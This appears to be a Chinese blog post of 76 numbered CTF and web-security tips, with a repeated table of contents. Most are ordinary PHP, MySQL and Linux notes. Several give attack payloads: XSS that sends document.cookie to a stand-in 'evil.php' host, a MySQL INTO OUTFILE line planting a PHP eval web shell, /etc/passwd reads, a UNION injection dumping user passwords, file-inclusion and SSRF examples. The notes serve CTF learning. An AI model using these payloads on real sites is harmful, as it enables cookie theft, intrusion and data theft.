Some Tips

个人笔记(贼乱)


以前觉得有帮助的东西我记在一个留言板上,每次看太麻烦了,直接转到博客上好了,顺便回顾一下
(贼乱) (╯‵□′)╯︵┻━┻


1 md5不能加密数组,所以就会返回Null,而Null===Null

2 phps为.php源代码文件

3 在浏览器中提交时浏览器会为我们进行一次解码,有时需要2次编码

4 需要绕过eregi和urldecode时,可查询url编码表如admin=>%61dmin=>%2561dmin

5 PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。

6 +会被 SQL 解析成空格

7 有时需要对#进行 URL 编码,不然会破坏 SQL 语句的完整性(当然这仅限于 GET 注入,POST 注入是不用再编码的,你可以先简单的认为 GET 注入就是出现在 GET 参数中的注入,POST 注入就是出现在 POST 参数中的注入)。

8 在 JavaScript 中,用分号来结束语句是可选的。

9 const 关键字,用于定义变量。 一些 JavaScript 引擎把 const 当作 var 的同义词。另一些引擎则把 const 当作只读变量的定义。

10 js回传一些信息

1
page=<script>location.href='http://example/evil.php?cookie='+encodeURIComponent(document.cookie)</script>

11 tomcat的examples目录下存在一个文件可以修改任意session。

12 首选判断是文件读取还是文件包含,因为file_get_content(“/etc/passwd”)和include(“/etc/passwd”)黑盒来看的表现可能一样。而文件包含是可以getshell的,文件读取就只能读取文件。可以通过尝试读取相对路径的脚本文件,比如/read.php?file=read.php的方式,如果可以读取到文件源码,说明是文件读取,如果不能读取到文件源码说明是文件包含。

13 base36,base62

14 curl乱码用–compressed

15 查询mysql数据库中所有表名

1
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = '数据库名'

16 .phtml .php

17 /var/www/html/

18 X-Forwarded-For:与 client-ip:

19 grep -a ‘flag’ xx.pcapng

20 php的bug简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 然后绕过正则的话我们可以在对象长度前加一个 + 号

21 .htaccess

22 base64可加密不可显字符

23 所有的doc文档或者docx文档都可以以zip或者rar打开

24 VM下载地址

25 wireshark过筛选POST http.request.method==POST

26 jinja文件模板注入2

27 sqlmap POST注入

1
sqlmap -u "127.0.0.1/test.php" --data "username=admin&password=admin&Submit=Login" --level=5 --risk=3 --dbs

28 print ‘\xc4\xe6\xc1\xf7\xb6\xf8\xc9\xcf\xb5\xc4\xbf\xc9\xc0\xd6’.decode(‘gbk’)

29 chrome开代理google-chrome–proxy-server=”socks5://localhost:7077”或http://

30 通常所用的函数是int()或者intval()然而出于phpwtf的atoi转换规则,$s-0足以完成。

31 列出test中所有的ASCII文本: strings test 列出test中所有的ASCII文本: cat test strings 查找test中包含ttt的字符串,不区分大小写: strings test | grep -i ttt

32 英文字母所用的ascii字符只占用七个bit。而计算总长度发现不为8的倍数而为7的倍数。

33 ereg函数%00截断及遇到%00则默认为字符串的结束

34 其实url编码就是一个字符ascii码的十六进制

35 python上传

1
2
3
data = { 'name': 'test' }
files = {'file': open("test.txt", 'rb')}
response = requests.post(url, data=data, files=files)

36 htmlentities($str, ENT_QUOTES) 这是一个单引号过滤。我们就没有办法添加单引号闭合了,只能运用转义字符吃掉单引号了

37 linux xxd命令

38 binwalk分析文件,-e分离文件

39 .bash_history

40 %df\x3cimg src=123 onerror=alert();%df\x3e 利用宽字节绕过<>的过滤

41 session是httponly的,一般无法通过document.cookie获取到cookie

42 JS 字符转ascii码:用charCodeAt();ascii码转字符:用fromCharCode();

43 JS base64加解密: atob() 和 btoa()

44 JS “a”.charCodeAt(); String.fromCharCode(97,98);

45 select `load_file`(0x2f6574632f706173737764),0x2f6574632f706173737764是/etc/passwd的十六进制格式。

46 PHP不允许堆叠查询

47 linux用户密码存储在/etc/shadow

48 只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。(CRLF:CRLF是”回车 + 换行”(\r\n)的简称。)

49 SSH另类应用Socket5代理

50 ubuntu下搭建hexo博客重要几个步骤

1
2
3
4
sudo npm install hexo -g
sudo npm install hexp --save
切换到/hexo-demo目录 npm install
hexo server

51 下面这2行都可以实现弹窗,原理暂时不明白。。。

1
2
<img src=x onerror= +alert(1)>
<img src=x onerror= -alert(1)>

52 通过Mysql语句得到mysql安装路径:

1
2
select @@basedir as basePath from dual
select @@basedir;

53 另类命令执行

1
echo $(ls)

54 通过cat读当前目录下的所有东西

1
cat *

55 如果在函数中 unset() 一个静态变量,那么在函数内部此静态变量将被销毁。但是,当再次调用此函数时,此静态变量将被复原为上次被销毁之前的值。

56 php ereg绕过(有时候还可以用%00)

1
<?php echo ereg("110*", "1104");?>

57 jQuary GET请求

1
$.get("http://example.com?cookie="+document.cookie)

58 MySQL其他用户登陆失败:

1
2
3
4
5
6
7
8
cola@ubuntu:~# mysql -u test -p
ERROR 1045 (28000): Access denied for user 'test'@'localhost' (using password: YES)
解决方法:
增加普通用户后,执行:
```bash
mysql> use mysql
mysql> delete from user where user='';
mysql> flush privileges;

59 MySQL把文件内容写入数据库中

1
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\t' (text);

60 MySQL读写文件(要有FILE权限)

1
2
写文件:SELECT '<? eval($_GET[\'c014\']); ?>' INTO OUTFILE '/var/www/html/shell.php';
读文件:select load_file('/etc/passwd'); 或者 select load_file(0x2f6574632f706173737764);

61 Wireshark字符串匹配过滤

1
http contains "Something"

62 linux下十六进制文件编辑器:vim作为十六进制编辑器用vim打开二进制文件,切换到command模式,输入 :%!xxd可以把当前打开的文件转化为十六进制编辑模式,编辑完成以后再 :%!xxd -r转换回去保存。

63 使用dd命令分离(linux/unix下)

1
dd if=target.jpg of=get.jpg skip=140000 bs=1

这里if是指定输入文件,of是指定输出文件,skip是指定从输入文件开头跳过140147个块后再开始复制,bs设置每次读写块的大小为1字节

64 php的开启表识有

1
<? ?> (短标签), <?php ?>, <script language="php"></script>, <% %>(asp风格)

65 MySQL简单的注入过程

1
2
3
4
5
6
7
8
9
10
//得到显示位3
id = -1 union select 1,2,3
//数据库test
id = -1 union select 1,2,database()
//表名users
id = -1 union select group_concat(table_name) from information_schema.tables where table_schema = test
//列名id, username, password
id = -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = users
//获取数据
id = -1 union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x3a) from users

66 is_numeric():当传入参数为hex时 直接通过并返回true 并且MYSQL可以直接使用hex编码代替字符串明文 可以二次注入 并且可能造成XSS漏洞

67

1
2
3
4
$c = true and false; //ture
$0 = false and false; //false
$1 = false or true; //false
$4 = true or false; //true

68 mysql从终端一条命令导出数据

1
mysql -u xxx -pxxx -e"SELECT * FROM test.test;">test

69 nginx下php文件502解决方法

修改/etc/nginx/sites-enabled/default

1
2
3
4
5
6
location ~ \.php$ {
fastcgi_pass unix:/run/php/php7.0-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
include fastcgi_params;
}

并/etc/init.d/nginx restart

70 没有mysqli.so的解决方法

1
apt-get install php-mysql

再重启服务就好了

71 python中exec类似php中的eval

72 php列目录的三种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
print_r(scandir('/'));
//1
$c = new DirectoryIterator("glob:///*");
foreach($c as $cc) {
echo $cc,"</br>";
}
//2
$dir = @ dir("/");
while (($file = $dir->read()) !== false)
{
echo $file . "<br />";
}
$dir->close();
//3
?>

73 python安装MySQL-python时报错

1
Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-P_0Bnv/MySQL-python/

原因可能是没有安装:libmysqlclient-dev,需要

1
sudo apt-get install libmysqlclient-dev

74 php gzfile读文件

1
<?php print_r(gzfile('test.php'));?>

75 php中的data://协议

1
2
3
4
http://127.0.0.1/test.php?file=data://text/plain,<?php phpinfo()?>
http://127.0.0.1/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://127.0.0.1/test.php?file=data:text/plain,<?php phpinfo()?>
http://127.0.0.1/test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

76 php在反序列化SoapClient对象时有可能向外发送请求,可能产生ssrf且可以通过crlf控制请求

1
2
3
4
5
6
<?php
$a = new SoapClient(null, array('location' => 'http://testtest.test:2333', 'uri' => 'c014'));
#参数有 execute_data,this_ptr,function,function_len,arg_count,real_args,return_value,location,soap_action,uri,soap_action,output_headers
$b = serialize($a);
$c = unserialize($b);
$d = $e->test();

未完待续2333…

文章目录
  1. 1. 1 md5不能加密数组,所以就会返回Null,而Null===Null
  2. 2. 2 phps为.php源代码文件
  3. 3. 3 在浏览器中提交时浏览器会为我们进行一次解码,有时需要2次编码
  4. 4. 4 需要绕过eregi和urldecode时,可查询url编码表如admin=>%61dmin=>%2561dmin
  5. 5. 5 PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。
  6. 6. 6 +会被 SQL 解析成空格
  7. 7. 7 有时需要对#进行 URL 编码,不然会破坏 SQL 语句的完整性(当然这仅限于 GET 注入,POST 注入是不用再编码的,你可以先简单的认为 GET 注入就是出现在 GET 参数中的注入,POST 注入就是出现在 POST 参数中的注入)。
  8. 8. 8 在 JavaScript 中,用分号来结束语句是可选的。
  9. 9. 9 const 关键字,用于定义变量。 一些 JavaScript 引擎把 const 当作 var 的同义词。另一些引擎则把 const 当作只读变量的定义。
  10. 10. 10 js回传一些信息
  11. 11. 11 tomcat的examples目录下存在一个文件可以修改任意session。
  12. 12. 12 首选判断是文件读取还是文件包含,因为file_get_content(“/etc/passwd”)和include(“/etc/passwd”)黑盒来看的表现可能一样。而文件包含是可以getshell的,文件读取就只能读取文件。可以通过尝试读取相对路径的脚本文件,比如/read.php?file=read.php的方式,如果可以读取到文件源码,说明是文件读取,如果不能读取到文件源码说明是文件包含。
  13. 13. 13 base36,base62
  14. 14. 14 curl乱码用–compressed
  15. 15. 15 查询mysql数据库中所有表名
  16. 16. 16 .phtml .php
  17. 17. 17 /var/www/html/
  18. 18. 18 X-Forwarded-For:与 client-ip:
  19. 19. 19 grep -a ‘flag’ xx.pcapng
  20. 20. 20 php的bug简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 然后绕过正则的话我们可以在对象长度前加一个 + 号
  21. 21. 21 .htaccess
  22. 22. 22 base64可加密不可显字符
  23. 23. 23 所有的doc文档或者docx文档都可以以zip或者rar打开
  24. 24. 24 VM下载地址
  25. 25. 25 wireshark过筛选POST http.request.method==POST
  26. 26. 26 jinja文件模板注入2
  27. 27. 27 sqlmap POST注入
  28. 28. 28 print ‘\xc4\xe6\xc1\xf7\xb6\xf8\xc9\xcf\xb5\xc4\xbf\xc9\xc0\xd6’.decode(‘gbk’)
  29. 29. 29 chrome开代理google-chrome–proxy-server=”socks5://localhost:7077”或http://
  30. 30. 30 通常所用的函数是int()或者intval()然而出于phpwtf的atoi转换规则,$s-0足以完成。
  31. 31. 31 列出test中所有的ASCII文本: strings test 列出test中所有的ASCII文本: cat test strings 查找test中包含ttt的字符串,不区分大小写: strings test | grep -i ttt
  32. 32. 32 英文字母所用的ascii字符只占用七个bit。而计算总长度发现不为8的倍数而为7的倍数。
  33. 33. 33 ereg函数%00截断及遇到%00则默认为字符串的结束
  34. 34. 34 其实url编码就是一个字符ascii码的十六进制
  35. 35. 35 python上传
  36. 36. 36 htmlentities($str, ENT_QUOTES) 这是一个单引号过滤。我们就没有办法添加单引号闭合了,只能运用转义字符吃掉单引号了
  37. 37. 37 linux xxd命令
  38. 38. 38 binwalk分析文件,-e分离文件
  39. 39. 39 .bash_history
  40. 40. 40 %df\x3cimg src=123 onerror=alert();%df\x3e 利用宽字节绕过<>的过滤
  41. 41. 41 session是httponly的,一般无法通过document.cookie获取到cookie
  42. 42. 42 JS 字符转ascii码:用charCodeAt();ascii码转字符:用fromCharCode();
  43. 43. 43 JS base64加解密: atob() 和 btoa()
  44. 44. 44 JS “a”.charCodeAt(); String.fromCharCode(97,98);
  45. 45. 45 select `load_file`(0x2f6574632f706173737764),0x2f6574632f706173737764是/etc/passwd的十六进制格式。
  46. 46. 46 PHP不允许堆叠查询
  47. 47. 47 linux用户密码存储在/etc/shadow
  48. 48. 48 只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。(CRLF:CRLF是”回车 + 换行”(\r\n)的简称。)
  49. 49. 49 SSH另类应用Socket5代理
  50. 50. 50 ubuntu下搭建hexo博客重要几个步骤
  51. 51. 51 下面这2行都可以实现弹窗,原理暂时不明白。。。
  52. 52. 52 通过Mysql语句得到mysql安装路径:
  53. 53. 53 另类命令执行
  54. 54. 54 通过cat读当前目录下的所有东西
  55. 55. 55 如果在函数中 unset() 一个静态变量,那么在函数内部此静态变量将被销毁。但是,当再次调用此函数时,此静态变量将被复原为上次被销毁之前的值。
  56. 56. 56 php ereg绕过(有时候还可以用%00)
  57. 57. 57 jQuary GET请求
  58. 58. 58 MySQL其他用户登陆失败:
  59. 59. 59 MySQL把文件内容写入数据库中
  60. 60. 60 MySQL读写文件(要有FILE权限)
  61. 61. 61 Wireshark字符串匹配过滤
  62. 62. 62 linux下十六进制文件编辑器:vim作为十六进制编辑器用vim打开二进制文件,切换到command模式,输入 :%!xxd可以把当前打开的文件转化为十六进制编辑模式,编辑完成以后再 :%!xxd -r转换回去保存。
  63. 63. 63 使用dd命令分离(linux/unix下)
  64. 64. 64 php的开启表识有
  65. 65. 65 MySQL简单的注入过程
  66. 66. 66 is_numeric():当传入参数为hex时 直接通过并返回true 并且MYSQL可以直接使用hex编码代替字符串明文 可以二次注入 并且可能造成XSS漏洞
  67. 67. 67
  68. 68. 68 mysql从终端一条命令导出数据
  69. 69. 69 nginx下php文件502解决方法
  70. 70. 70 没有mysqli.so的解决方法
  71. 71. 71 python中exec类似php中的eval
  72. 72. 72 php列目录的三种方法
  73. 73. 73 python安装MySQL-python时报错
  74. 74. 74 php gzfile读文件
  75. 75. 75 php中的data://协议
  76. 76. 76 php在反序列化SoapClient对象时有可能向外发送请求,可能产生ssrf且可以通过crlf控制请求